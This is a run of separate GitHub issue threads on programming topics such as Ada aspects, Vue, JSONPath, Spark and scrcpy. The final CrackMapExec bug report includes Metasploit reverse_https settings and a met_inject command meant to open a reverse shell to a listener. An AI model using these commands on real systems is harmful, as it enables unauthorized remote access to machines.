Non-annotation 'annotations'

Annotations are one of the features that you don't want -- and I completely agree that the usual annotation-systems (ie specially-formatted comments) are totally unsuitable because of the ease to introduce mismatches between actual-code and annotation-code.
However, annotations do help with static analysis -- indeed Ada 2012 / SPARK 2014 can use their particular annotations in just such a manner, but the implementation of those is much different than the usual 'special' comment; instead they use something they term as "aspects". A small, trivial example:
Subtype Positive is Integer   with Static_Predicate => Positive > 0;
The above indicates that the value of Positive is always greater than zero, something that was always doable in Ada with the range constraint, which is why it's trivial. -- The interesting point here is that via the use of aspects the annotation (which can be used by static provers [SPARK is a subset of Ada plus proving tools, including static analysis]) -- what this means is that the annotation, being actual code instead of a comment, can never be out-of-sync/"go stale" like a comment-based system.

@OneWingedShark I see what this may be useful, but my concern is always the same: why not use good old decorators? Any annotations introduce some "links" to code that is located somewhere else, outside of an object. In your Ada example, who is checking that predicate? Where is the code that runs the check? Somewhere inside Ada compiler, right? Can I get access to it? I don't think so. But I should. See my point?

@yegor256

I see what this may be useful, but my concern is always the same: why not use good old decorators?

Because we're not talking about different objects/types... not really.
The above is (almost[a]) exactly equivalent to Subtype Positive is Integer range 1..Integer'Last;
In set terms it's "Positive contains all values of Integer that are greater than zero" is how the first declaration could be read, while this declaration could be read "Positive contains all values of Integer in the range of 1 to the last integer". (IOW, completely equivalent for the high-level overview.)
[a] In Ada 2012, where the predicate aspects were introduced, they are treated as assertions by the error-system whereas using the normal/traditional method (range first_value..last_value) is tied directly to its own entry in the error-system raising Constraint_Error if violated. -- but this is all implementation subtlety.

Any annotations introduce some "links" to code that is located somewhere else, outside of an object.

Mostly, but not quite true.
Using aspects like Ada means that the "links" are part of the definition -- that was, in fact, one of the motivations for using aspects -- it allowed them to [re-]define SPARK, which used to use comments, in terms of these aspects (SPARK is, in addition to an Ada language subset, a set of tools.) which allows the definition's assertion (Positive_Value in 1..Integer'Last, for either of the above) to be proven and statically analyzed.
Above I noted how there's a slight difference in the semantics, well that allows you to prove the predicate w/ SPARK and turn assertions off for compiling/proving -- Thus with a single, consistent piece of program source you can have both your "debug-and-assertions-everywhere" source and your "production and optimization" source be one and the same w/o having a mess like #ifdef all over the place.
Perhaps a better example would have been from my Base 64 implementation:
 -- This type represents a valid Base-64 string; its characters are that of
-- the above character-set and therefore has no relation to the internal
-- string-type.
--
-- NOTE: The only reason these predicates are not function-calls to
-- functions hidden in the PRIVATE section is the presence of
-- a compiler-bug which incorrectly prohibits usage of aspects
-- in a forward-referential manner.
type Base_64_String is Array(Positive range <>) of Base_64_Character
with Dynamic_Predicate =>
    -- Base64 Strings always have a length that is a multiple of 4.
    (Base_64_String'Length mod 4 = 0
     or else raise Constraint_Error with "Illegal Base64 length:"
                                                & Natural'Image(Base_64_String'Length))
    and then
    -- Only the last two characters can be padding.
    ((for all Item of Base_64_String(Base_64_String'First..Positive'Pred(Positive'Pred( Base_64_String'Last ))) =>
     Not_Padding(Item)) or else raise Constraint_Error with "Malformed Base64 string.")
    and then
    -- Pad characters must come at the end, if present.
    (if Base_64_String'Length > 1 and then Base_64_String(Base_64_String'Last-1) = '=' then
        (Base_64_String(Base_64_String'Last) = '=' or else
    raise Constraint_Error with "Nonterminal pad character detected.")
);

The reason I didn't want to use that was because it's a lot more complicated than I prefer for demonstration -- but it does give you the nice property that a Base_64_String is a valid Base 64 encoding. (Normally I would have a Validate function and use that in the predicate, but this shows it can be done directly. )
Perhaps a bit clearer of a thrust could be given by the SPARK Manual, where you can use (eg) a Ghost aspect to indicate ghost-code/-variables -- Ada doesn't have a language-defined Ghost aspect, but it allows implementations to have their own aspects (and Spark takes advantage of that for ghost entities).. -- This allows SPARK to eliminate all the ghost-entities after proving the required properties.

In your Ada example, who is checking that predicate?

The compiler, and/or the prover. (Ada compilers have a lot of static checking built in, and the DIANA intermediate language was designed to facilitate other static-analysis tools.)
Ideally both would use the same front-end and a common intermediate form where, conceptually, the static-analyzer and provers are [optionally?] in between the parse-tree production and the code generation.

Where is the code that runs the check?

That depends.
One of the criticisms against Ada I've heard from C programmers is about having checking on all array index operations... but there's a lot of cases where all those checks can be optimized away -- the trivial example being:
-- An array of integers; size unknown.
Type Integer_Array is  Array(Positive range <>) of Integer;

-- We can access "properties" of the given Integer_Array with attributes like First and Last [index].
Procedure Zero_Array( Item : in out Integer_Array ) is
begin
    -- Index takes the values from Item'First to Item'Last because
    -- Item'range is shorthand for Item'First..Item'Last.
    For Index in Item'range loop
        Item(Index):= 0;
    End loop;
end;

Since we're generating the values of Index from Item's bounds directly we don't need to check that all those values are within Item's bounds -- and thus Item(Index) needs no checks.
These are the best sorts of checks: those that can be proven/accomplished at compile-time and therefore need not be included in emitted code. :)

Somewhere inside Ada compiler, right? Can I get access to it? I don't think so. But I should. See my point?

I thought you said you didn't want reflection...

@OneWingedShark interesting idea, but we may need to get back to it later, when we start working on static analyzer.

@OneWingedShark we won't have this feature, even though the idea is good.

Job gh:cqfn/eo#40 is not assigned, can't get performer


:sparkles: Only standardize if synonyms column is present

Fixes #1685

Warning, treated as error:
/opt/hostedtoolcache/Python/3.10.14/x64/lib/python3.10/site-packages/upath/core.py:docstring of upath.core.UPath.open:18:Inline strong start-string without end-string.
Traceback (most recent call last):
File "/opt/hostedtoolcache/Python/3.10.14/x64/bin/lndocs", line 8, in
sys.exit(main())
File "/opt/hostedtoolcache/Python/3.10.14/x64/lib/python3.10/site-packages/lndocs/main.py", line 166, in main
strip_db_args(Path(args.site) / generated.with_suffix(".html").name)
File "/opt/hostedtoolcache/Python/3.10.14/x64/lib/python3.10/site-packages/lndocs/main.py", line 29, in strip_db_args
with open(path) as f:
FileNotFoundError: [Errno 2] No such file or directory: '_build/html/lamindb.core.datasets.df_iris_in_meter.html'


Add St Ambrose College

Grammar School and Sixth form in Hale Barns, Greater Manchester.
Email address format as:  @st-ambrosecollege.org.uk

@AlexGarrity For @st-ambrosecollege.org.uk email domain the filename must be
lib/domains/uk/org/st-ambrosecollege.txt (with a dash sign after "st") instead of lib/domains/uk/org/stambrosecollege.txt. Please rename or comment if I am misunderstood your previous comment.

Ok, thank you.  I've renamed the file according to your suggestion


@ts-ignore doesn't work on the first line

Vue version
3.3.4
Link to minimal reproduction
https://play.vuejs.org/#eNqNj7FuwzAMRH+F1eIWiC2k6WQ4Qbr1D7pocWImcWFRAkW7g+F/L+0URZAuGe/I4+ON5j3GYujRlKZKR26jQELpI3Q1nbfOSHJm56j1MbDACIwnmODEwUOmscyRtbCXlLdnCoyOOhSoS+r9ARm24Mz6deOMo2OgJODTWU098px9YNcF+AzcNU/Zi6PKXvlKUyHoY1cLqgKoLuvdOC7haaqsqsVtKfYCQ+5Dg53+qvPl2cr+pc3KXF/PfR2LrxRIi45z2v0OtF8JizN7WmnWzlxEYiqtPTakMb3fDlwQiqXo7V7XLPckrce8CX6/KTbFm23aJLd2gcnnBw7fCVmPOLO6wVg1B+SckRpk5Eexd7Fb9N3oH36mT44mM/0AU2Os9Q==
Steps to reproduce

Put the // @ts-ignore on the top of the script.
TypeScript still checks the row between it.

What is expected?
It should work even put it on the top of the script.
I ended up swapping the code line so it wasn't at the top and it worked.
What is actually happening?
This made me have to unnecessarily change the code order.
System Info
System:
    OS: Windows 10 10.0.22621
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i9-12900H
    Memory: 5.51 GB / 15.67 GB
  Binaries:
    Node: 18.15.0 - ~\App\Node\node.EXE
    Yarn: 1.22.19 - ~\AppData\Roaming\npm\yarn.CMD
    npm: 9.2.0 - ~\App\Node\npm.CMD
  Browsers:
    Chrome: bookmarks.html
initial_preferences
    Edge: Spartan (44.22621.1848.0), Chromium (114.0.1823.51)
    Internet Explorer: 11.0.22621.1

Any additional comments?
No response

Caused by Volar?

Maybe yes, you know that there have been many updates to vue's repl recently, which uses monaco-valor. I tried in monaco everything works fine and in monaco-valor have the same problem

It also cannot pass vue-tsc type check. Does vue-tsc also belong to language-tools?


Towards a shared understanding of JSONPath

You might find https://cburgmer.github.io/json-path-comparison/ interesting to align with other implementations of JSONPath. To give an idea what's possible here are two queries which are currently not supported by jaxon/return the wrong results.

[ ] $[-1]
Input:
["first", "second", "third"]

Expected output:
["third"]

Actual output:
[]

[ ] $..key
Input:
{"object": {"key": "value", "array": [{"key": "something"}, {"key": {"key": "russian dolls"}}]}, "key": "top"}

Expected output:
["russian dolls", "something", "top", "value", {"key": "russian dolls"}]

Actual output:
["top"]

Let me know if this is helpful to you.
For reference, the output was generated by the program in https://github.com/cburgmer/json-path-comparison/tree/master/implementations/Elixir_jaxon.

Thank you for the library.
Hi @cburgmer
I am wondering how to slice the json?
I tried Jaxon.Stream.query(Jaxon.Path.parse!("$[0:3].Player")) to get first 3 players I have, but it does not work.
How can I use it correctly to get only partial data and filters?
Should I use Enum.take?


Add pytest

Checklist

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

@conda-forge-admin, please rerender

@abraha2d it looks like one of the reasons for the tests failures is that git is not available, i.e.:

Should we add git to the testing requirements?

@abraha2d we would need to do something like this since we can't install git with pip:
sudo apt-get update
sudo apt-get install git

@abraha2d got this working in https://github.com/conda-forge/ultralytics-feedstock/pull/71
Thanks for the help! :)


Better State Management

Is your feature request related to a problem? Please describe.
It is kind of hard to manage state management links between Javascript and l-use scope components.
Describe the solution you'd like
An l-watch directive that points to a global that is checked on every render step to see if it changed, and if so, it would render the entire component.
Describe alternatives you've considered
A render function that is attached to DOM elements that are components.

I just want to quickly clarify to make sure I'm understanding:
So currently the l-use attribute handles an object either through directly providing it in the attr value or calling a existing function that returns an object.
If that object is changed, then the component will update with the new code. If the object code is changed, how would we maintain the existing state of the properties? Say count prop is at 1, and we add a new count2 prop - wouldn't that reset the original count?
A possible alternative solution could be passing object components through a proxy somehow, then trapping update calls

I think a proxy would work or just allowing users to control when to render.

I just want people to be able to do something like this:
const comp = document.getElementById("app");
store.data.subscribe((newState) => comp.render(newState)); // Replace with state library specific code

So expose some API functionality to allow the developer to enter a custom callback?

Yes.

More of just a way to link a shared state between the Javascript and the Lucia components.

Understood. I'll push some functionality and let me know if you like it

Okay so I did a bit of experimenting - it's kind of awkward with the current way Lucia uses - Lucia exposes a createApp function on the global Lucia variable - where it's possible to hook a method on there providing this type of functionality and where $patch is exposed - however if using the l-use directive doesn't really support this type of thing, at least not something I can think of. Feel free to try this out

Looks like if you do something like this
<div l-use="App">
  <button l-text="count" l-on:click="count++"></button>
</div>

window.App = {
  count: 0
};

I think it may be Javascript object mutation but certainly without using a function you can have the window.App track changes that are performed in the component but when you change the state on window.App.count it doesn't change the UI until you do an action in which case it takes the previous state and adds on to that without ever showing the previous state.

Yeah, maybe we can have a reactive function where it can make objects reactive

Just implemented a l-watch directive and exposed components through Lucia.components property

@aidenybai I didn't have the time to play around with it but I believe l-watch is more of the Lucia version of React useEffect instead of more of the React useEffect dependency list. The current functionality is kind of nice so we could rename it to l-effect for side effects on render. I am looking into allowing Lucia to subscribe to value changes.

Looking into watching for changes there is a pretty popular library on-change which could probably be easy to implement but it is roughly 27kb which could make the library around 30kb, though I think rollup with terser could decrease that size by a bit more. @aidenybai Thoughts?

Just took a look at the library, love the functionality. the 27kb raw size makes me a bit uncomfortable though - maybe we should try implementing our own solution in-house with similar functionality first. I think observer.ts already provides a proxy that traps changes, we could change this to a class with subscribe/etc. functions for state management.
I think other libraries like vue have external state management libraries like vuex, maybe it's smarter to modularize

I think other libraries like vue have external state management libraries like vuex, maybe it's smarter to modularize

I like this idea but then we would need to figure out how to organize different packages. Should we keep them all in one repo and use bolt or pnpm or we could create a Github organization with a name like luciajs and keep them in separate repos there.

I'm not sure yet - I think the best course of action could be to try to implement state management and see how it affects the code size or if it is possible with the current architecture. I guess we'll just have to see how it goes and do it from there

Just implemented a l-watch directive and exposed components through Lucia.components property (kinda not intuitive right now)
Kind of implemented the functionality - double check if you want to change it.

Moved l-watch under l-on:effect, now able to access apps through l-link

You can view them, but you can't edit them. Changing it seems to just stop the entire app.
CodePen example

Just found the issue - the object is being exported under the global Lucia namespace, but is static. Its being modified under the document load anon function, but it doesn't change the object in the global namespace - kinda.
Devtools seems to be saying that something is in there, but when you console.log it, it returns nothing. Weird issue

Should be fixed - feel free to write an optimization if you want

Seems to be working now. Whenever you change a value under $view it seems to do another render which is great. I think we should instead use a wrapper around the data given in l-use so that we can just track changes so people can keep it a little centralized.

Agreed, I'm also not sure of the implementation strategy. If we use a wrapper function, like Lucia.use('example', {}), which triggers a render and the target might be l-use="example", how would we distinguish between anonymous objects like l-use="{}"? This also introduces additional a tiny bit of additional complexity and performance overhead (at least with the implementation I'm thinking of). I will try to push out some implementation for this.
Another solution could be directly replacing function references, which is kind of hard to do as you can't really identify the function names as well as this solution is pretty destructive.

Seems like the Lucia.use route is working. I am going to close this then.


Changes in home page

1.The Line below the nav will respond to the scroll that is when they are at top it will be only little visible and increase as they scroll.

2.about section is bugging.Can improve and add something to it to make them look good.

3.Add dark mode in the home page.
4.rearrange the footer so socials appear at the top, i can change them completely as well.

assign me under hactoberfest and gssoc-extd, Thank you.
@vivekvardhan2810

1 . Same content is repeated various  times on  home page

No dark mode for home page

Please  assign this task to me under ggsoc-extd 24 and hactoberfest. @tabinayaseen

as a mentor i can only assign level 1 label it will further decide by project admin

@faisal07777 kindly please assign me with this task.
the necessary solution is:

necessary css is to added in about section to improve and look good.
add dark mode on the page

kindly add hactoberfest and gssoc-extd

@pameladeysarkar2003 again I am repeating don't spam in other's issues, this is not a good practice and this issue was assigned before.

This issue has been resolved, so i am closing this issue.


[SPARK-13070][SQL] Better error message when Parquet schema merging fails

Make sure we throw better error messages when Parquet schema merging fails.

Test build #50361 has started for PR 10979 at commit 2e594af.

Test build #50373 has started for PR 10979 at commit de137ed.

Test build #50361 has finished for PR 10979 at commit 2e594af.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/50361/
Test PASSed.

Test build #50373 has finished for PR 10979 at commit de137ed.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/50373/
Test FAILed.

retest this please.

Test build #50376 has started for PR 10979 at commit de137ed.

Test build #50376 has finished for PR 10979 at commit de137ed.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/50376/
Test PASSed.

cc @liancheng

LGTM, thanks for helping fixing this! Will get it merged once I get access to my laptop.

I've merged this in master. Thanks.


⚠ Avatar API Endpoint has degraded performance

In 24f8b1a, Avatar API Endpoint (https://avatar.roblox.com/v1/avatar-rules) experienced degraded performance:

HTTP code: 200
Response time: 4441 ms

Resolved: Avatar API Endpoint performance has improved in 5141153.


config.json file does not exist

config.json file does not exist in repository.
we created our own config file to check schedule but schedule is not applying for it.

Thanks for trying this out! Definitely still very beta, so there are probably issues.
Where is your config file located?
Here's a working example https://github.com/iloveitaly/dotfiles/blob/master/.config/focus/config.json

Closing this out, feel free to reopen.


Make authentication work in SSR

Apparently, CloudFlare Pages actually supports full-stack SvelteKit applications, so supposedly we should be able to add a request handler that would read the cookie and populate the rendered page with authentication data. Do that.

Won't be fixed, it's impractical for our architecture


Offscreen framebuffer is not complete

When run the soccer environment, I got the following error
Offscreen framebuffer is not complete, error 0x8cdd.
Maybe it is something about GPU.

Possible duplicate of #76. Does the OSMesa backend work for you (MUJOCO_GL=osmesa, see docs here)?

Thank you. It works for me.


the cover of card's border radius will follow theme-overrides setting and cannot be set again

TuSimple/naive-ui version (版本)
2.34.3
Vue version (Vue 版本)
3.2.25
Browser and its version (浏览器及其版本)
chrome
System and its version (系统及其版本)
window11
Node version (Node 版本)
Reappearance link (重现链接)
https://codesandbox.io/s/immutable-morning-6szs3f?file=/src/Demo.vue
Reappearance steps (重现步骤)
1.set card border radius by theme-overrides(borderRadius:10px)
2.set card border radius to 0 in component
Expected results (期望的结果)
cover part's border radius will be set to 0 too
Actual results (实际的结果)
cover part's border radius will follow theme-overrides setting and cannot be set again
Remarks (补充说明)
there is the style I found in chrome DevTool:

maybe can provide cover-style like other parts

This issue does not have any recent activity. If you are still experiencing similar problems, open a new error, including a minimal copy of the problem


If multiple Data Users are assigned, then the page displays the full names of all Data Users in a comma-separated list, sorted alphabetically by family name

Subsumed by the updated completion criteria in #265


Mockups

What is the flow the site takes? Present such images/idea here.

Homepage

User page

User settings


removeHs should not remove H atoms that determine double bond stereochemistry

This affects imines:
In [14]: Chem.CanonSmiles('C/C(F)=N/[H]')
Out[14]: 'CC(=N)F'

One oddity that fixing this would lead to:
>>> Chem.CanonSmiles('C/C(F)=N/[H]')
'[H]/N=C(/C)F'
>>> Chem.CanonSmiles('C/C(F)=N[H]')
'CC(=N)F'

reported by @coleb here<EMAIL_ADDRESS>

Poke poke, this has never been fixed and @greglandrum said at the UGM to poke about that stuff.

Fixed by #1810


Fix commitlog tests

Not ready to merge; requesting review.
This PR fixes default_segment_size_test and small_segment_size_test as described in this Jira comment. It also has a tentative (not working yet :frowning:) change to the _commitlog_test method -- the goal is to allow the final segment of compressed commitlogs to be smaller than expected. Unfortunately, this does not seem to fix the test for the small, compressed commitlog -- smaller commitlogs are encountered before the final one.
@blambov Could you please review these tests, and help me figure out where I went wrong special-casing the test for the small, compressed commitlog? Thank you.

The first two commits are fine.
On the last one, could we try sorting the log list returned by _get_commitlog_files? I'm not sure the files are guaranteed to be listed in the right order.
What kind of difference in size are you getting?

I've seen it produce sizes like 2291640, where the test expects 3670016.
You're probably right; it's probably a sort order problem. Is there a way to determine which is the last segment? and if not, I was thinking this could be tested by allowing at most one segment to be smaller. Does that sound like a reasonable test for correctness?

Ensuring all but the one segment are within the expected range sounds fine. I would also assert that the sum of all the segments is within some expected range as well.

I've pushed up some new changes. Requesting review from @aweisberg and/or @blambov.
The changes I want the most scrutiny on:

https://github.com/riptano/cassandra-dtest/pull/387/files#diff-8e7e61c5fac01771e96022884e936371R125 -- Is having this secondary assertion ok for compressed commitlogs? At least in 3.0, they are consistently much smaller than the expected size range.
https://github.com/riptano/cassandra-dtest/pull/387/files#diff-8e7e61c5fac01771e96022884e936371R186 -- Is this version logic ok? Again, in 3.0, everything is so small as to be out of range of our assert_almost_equal

@ptnapoleon Could you have a look at this too? I know these tests are kind of inconsistent, but I've been looking at them on and off for days, so I'd like someone with some distance to see if they make enough sense.

They make sense to me.

Review from Ariel here: https://issues.apache.org/jira/browse/CASSANDRA-9717?focusedCommentId=14644886&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-14644886
Merging.


"Next" and "Previous" navigation for zoomed category bar chart

I know zooming in category bar charts can be tricky. I saw this was discussed here and it is well documented here.
Now that zooming is possible, one thing that really feels off for me is the "Pan" feature, when zoomed in this kind of chart. My real feature request would be to make this work just like the datetime chart bars do, but if that is too crazy to do, I would have another proposition, that may improve the usability of the charts:
Instead of having the hand icon, for panning when zoomed in a category bar chart, could we have two simple "next" and "previous" icons for a "carousel-like" navigation/pagination? This could clarify much more the interaction in my opinion.
Thanks as always for the amazing project.

I see there is no activity here... aren't there any ideas for implementing this?

I need to this feature , or make panning how into type datetime | numeric


Possible to have 2 instances of NR running at same time

Current Behavior
If a restart is triggered while the device agent is already restarting a crashed NR instance then it can start a second instance.
Expected Behavior
restart to not start a second instance
Steps To Reproduce

force a crash of NR (or a state where a normal kill doesn't stop the process immediately)
send a restart command to the device agent

Environment

FlowFuse version: 2.0.0
Node.js version: 18.x
npm version: 9.x
Platform/OS: Linux
Browser: NA

@hardillb
Ben, I am exploring the possibility that this might be related to https://github.com/FlowFuse/nr-project-nodes/issues/62 but I am not sure how to recreate:

force a crash of NR (or a state where a normal kill doesn't stop the process immediately)

Any pointers on how to achieve this?

send a restart command to the device agent

From where? There are (currently no options from FF core to send a restart to a device).  Do you mean a systemd / service restart?

    force a crash of NR (or a state where a normal kill doesn't stop the process immediately)

Any pointers on how to achieve this?

A badly written node that doesn't implement a node.on('close',...) function and prevents Node-RED from shutting down

   send a restart command to the device agent

From where? There are (currently no options from FF core to send a restart to a device). Do you mean a systemd / service restart?

No, tag a new snapshot in the forge app, this will tell the device agent to shutdown the NR instance (with a kill -HUP) which then falls foul of previous comment.

Any code that restarts Node-RED should wait for it to be properly gone before starting a new NR process.

Can I check the status of this - it's got an attached PR that's been merged, so can it be closed? Or is it just needing to be verified on staging?

It should have been linked to the PR and therefore would be closed. I'll do it with this comment.


INFO: Initial texture: 1080x2408

Could someone please help out to fix this issue ?
Device: VIVO T1 5G
Android Version 12
USB debugging on and File Transfer Mode
Whenever I hit the scrcpy on the UBUNTU terminal, I get the following message
NFO: scrcpy 1.12.1 https://github.com/Genymobile/scrcpy
/usr/share/scrcpy/scrcpy-server: 1 file pushed. 1.0 MB/s (24773 bytes in 0.023s)
INFO: Initial texture: 1080x2408
[server] ERROR: Exception on thread Thread[main,5,main]
java.lang.IllegalArgumentException
at android.media.MediaCodec.native_configure(Native Method)
at android.media.MediaCodec.configure(MediaCodec.java:2207)
at android.media.MediaCodec.configure(MediaCodec.java:2123)
at com.genymobile.scrcpy.ScreenEncoder.configure(ScreenEncoder.java:167)
at com.genymobile.scrcpy.ScreenEncoder.streamScreen(ScreenEncoder.java:68)
at com.genymobile.scrcpy.Server.scrcpy(Server.java:34)
at com.genymobile.scrcpy.Server.main(Server.java:163)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:389)
WARN: Device disconnected
I have tried the following commands to fix the issue
scrcpy -m1080 , scrcpy -m1024
Any help would be really appreciated?

INFO: scrcpy 1.12.1

First, try with the latest version. Uninstall the package from your distrib, then install manually:
https://github.com/Genymobile/scrcpy/blob/master/BUILD.md#simple

Hey Uninstalled the package and then installed using the snap package.
sudo snap install scrcpy.
Works perfectly now.
Thank you


Add use case

Details on use cases would be good here.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 05e99925-c1f9-5041-311f-39469c124d85
Version Independent ID: 81b0a6bf-d7cb-7208-3759-3455efc5bf13
Content: Delay task for Azure Pipelines and TFS
Content Source: docs/pipelines/tasks/utility/delay.md
Product: devops
GitHub Login: @alexhomer1
Microsoft Alias: ahomer

Thank you for your feedback. I have passed this on to the product team for advice.

Delay task is used within Release Gates, adding @shashban


Add linting

Would be great to add the same linting we have over at the main repo to make sure the code style is consistent and switching between repos isn't a hard context switch due to superficial code style differences.
We can probably just copy the .eslintrc from the main repo.

Feel free!

Oh I just saw we already have linting. Nevermind, closing!

I don’t mind if you want to make it match the main project—I’m mostly going to work on grammar.ne anyway!


min_sample = int('9' * 10)

what does this particular line stands for and how did you reached this particular value?

That was just a huge value, that I initialised the min_sample to. Later that is anyway being caluclated again to find the minimum size of the sample. This particular piece of code is not used anywhere. So it is a like a dead code so I will remove it.

This has been removed.

okay :))


Add support for more models in ProBook/EliteBook 6x70/8x70 series

Moved existing model config to shared folder and added more models which use the same BIOS

Thanks, I would be happy to add them. But I would prefer that models, that share the same BIOS version should also share the BIOS-Settings.txt. Is there any special reason not to define them as Shared as well?

The current BIOS settings for HP EliteBook 8570p sets "Virtualization Technology for Directed I/O (VTd)" to disabled with the comment "Might cause issues with the GPU", but I have not tested if that applies to the other models too or if it should be enabled there.

Common BIOS settings added in commit 29627e4.
Is VTd a common cause of trouble? I got some ProBook 430 G3 which won't boot if I enable it.

Thanks, will merge in a second.
I have never used a 430 G3 but it's uncommon that VTd prevents booting. If this has anything to do with the VTd vs. Intel GFX problem, you should check if your domain settings enable Hyper V or any feature that depends on it.
Beside that, I'm only aware of G1 devices having somethings boot issues when UEFI + Secure Boot is installed. The very first boot after activating this option usually fails and the device requires a full power cycle. After that, it works as expected.


Fix build failing with PIX enabled

After the refactor to RDD, the driver needs to see the PIX headers (in addition to the contex).
@bruvzg, any MinGW implications?

Isn't it the same as adding the same include to the driver .cpp, which is added in https://github.com/godotengine/godot/pull/87206
But if it's needed for something else, it should be OK to move it the header.

It is. It was just to avoid duplication, but duplication has its own advantages. I don't have a strong preference.

I'd say if we expect this might be used in more than two files in the future, or in all files that use d3d12_context.h, it makes sense to include in the header. Otherwise if it's going to stay limited to 2 files, it should be fine with #8720 only.

Oh, for some reason I forgot #87206 already had the fix, even if I had just checked it. Duplicating is fine to me given it's only two cases and avoids cluttering the headers. Also, ongoing work on the rendering architecture, by @DarioSamo, may allow that only the RDD needs to include it eventually.
Closing as superseded by #87206.


Can't get tag suggestions to work

Hello,
Is there something special I have to do to get tags to be suggested?  I only get a text input for the tags.
<script>
    (function() {
      var anno = Annotorious.init({
        image: 'testpage',
        locale: 'auto',
    	widgets: [
            'COMMENT',
            { widget: 'TAG', vocabulary: ['Animal', 'Building', 'Waterbody'] }
          ]
      });

      //anno.loadAnnotations('annotations.w3c.json');
    })()
</script>

It's an autocomplete. Did you try typing? 'a' should bring up the 'Animal' suggestion, for example. If you want to get all suggestions without typing anything, hit the arrow-down key. This seems to work in the current release and master branch.

D'oh, thanks a lot.


cme 5.0.1 impacket modules fails

DESCRIPTION:
cme 5.0.1 impacket modules errors.
COMMAND:
crackmapexec smb <IP_ADDRESS> -u admin -p 'admin'
OUTPUT:
g:True) (SMBv1:False)
Traceback (most recent call last):
  File "src/gevent/greenlet.py", line 766, in gevent._greenlet.Greenlet.run
  File "/usr/lib/python3/dist-packages/cme/protocols/smb.py", line 110, in __init__
    connection.__init__(self, args, db, host)
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 42, in __init__
    self.proto_flow()
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 74, in proto_flow
    self.login()
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 215, in login
    if self.plaintext_login(self.domain, user, password): return True
  File "/usr/lib/python3/dist-packages/cme/protocols/smb.py", line 250, in plaintext_login
    self.conn.login(username, password, domain)
  File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 267, in login
    return self._SMBConnection.login(user, password, domain, lmhash, nthash)
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 778, in login
    type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, respToken['ResponseToken'], user, password, domain, lmhash, nthash)
  File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 631, in getNTLMSSPType3
    ntResponse, lmResponse, sessionBaseKey = computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'],
  File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 39, in computeResponse
    return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
  File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 902, in computeResponseNTLMv2
    responseKeyNT = NTOWFv2(user, password, domain, nthash)
  File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 891, in NTOWFv2
    return hmac_md5(theHash, user.upper().encode('utf-16le') + domain.encode('utf-16le'))
  File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 882, in hmac_md5
    h = hmac.new(key)
  File "/usr/lib/python3.8/hmac.py", line 153, in new
    return HMAC(key, msg, digestmod)
  File "/usr/lib/python3.8/hmac.py", line 51, in __init__
    raise TypeError("Missing required parameter 'digestmod'.")
TypeError: Missing required parameter 'digestmod'.
2020-04-29T00:44:05Z <Greenlet at 0x7f1511cbb370: smb(Namespace(clear_obfscripts=False, content=False, c, <protocol.database object at 0x7f1511d0b1f0>, '<IP_ADDRESS>')> failed with TypeError

can't confirm it:
bash$ python-test-env/bin/crackmapexec smb <IP_ADDRESS> -u admin -p 'admin'
SMB         <IP_ADDRESS>      445    LAPTOP-HRJ9REOB  [*] Windows 10.0 Build 18362 x64 (name:LAPTOP-HRJ9REOB) (domain:LAPTOP-HRJ9REOB) (signing:False) (SMBv1:False)
SMB         <IP_ADDRESS>      445    LAPTOP-HRJ9REOB  [-] LAPTOP-HRJ9REOB\admin:admin STATUS_LOGON_FAILURE
(python-test-env)

I was using 4.0.1 version, but I installed 5.0.1 version because I can't get reverse shell with "met_inject" and "empire_exec" in 4.0.1 version.
Authentication is successful in 4.0.1 version

Try to  test it in Pentoo ;-) Just joking. I have tested with valid credentials, still can't confirm it.
Please install it in a virtualenv and  test in a "clean" env

Do you have any idea why I can't get reverse shell in 4.0.1 version?
I succeed using psexec on metasploit.
set payload windows/meterpreter/reverse_https
set LHOST <IP_ADDRESS>
set LPORT 4444

cme smb <IP_ADDRESS> -u Administrator -p 'Password' -M met_inject -o LHOST=<IP_ADDRESS> LPORT=4444

but i can't get a session
if i set windows/meterpeter/reverse_tcp triggers but session dies.

4.0.1 was  never officially released, so I  have not idea where it came from. Anyway, it were a lot of changes recently, so you should really use the latest.

Okey thank you :)

FWIW, I am also receiving the same error on the same version on my Kali install. I also tried using a venv and received the same error within.

Unfortunately I cannot reproduce this. Please include more details, did you compile the binary yourself ? did you take it from the release version ?

setup:
apt-get install crackmapexec
error when I run the command:

kali version:

Thanks @n0bl1nk can you test using this release ?
https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.0.1dev

I am installing a new Kali, I will re-install and report on it.

Hello, same issue with the latest kali release.
I have this error message only for (Pwn3d!) user.
I will try with the new release.

Ok, please use the latest version, not the one from apt, we cannot change code on the api version ;)

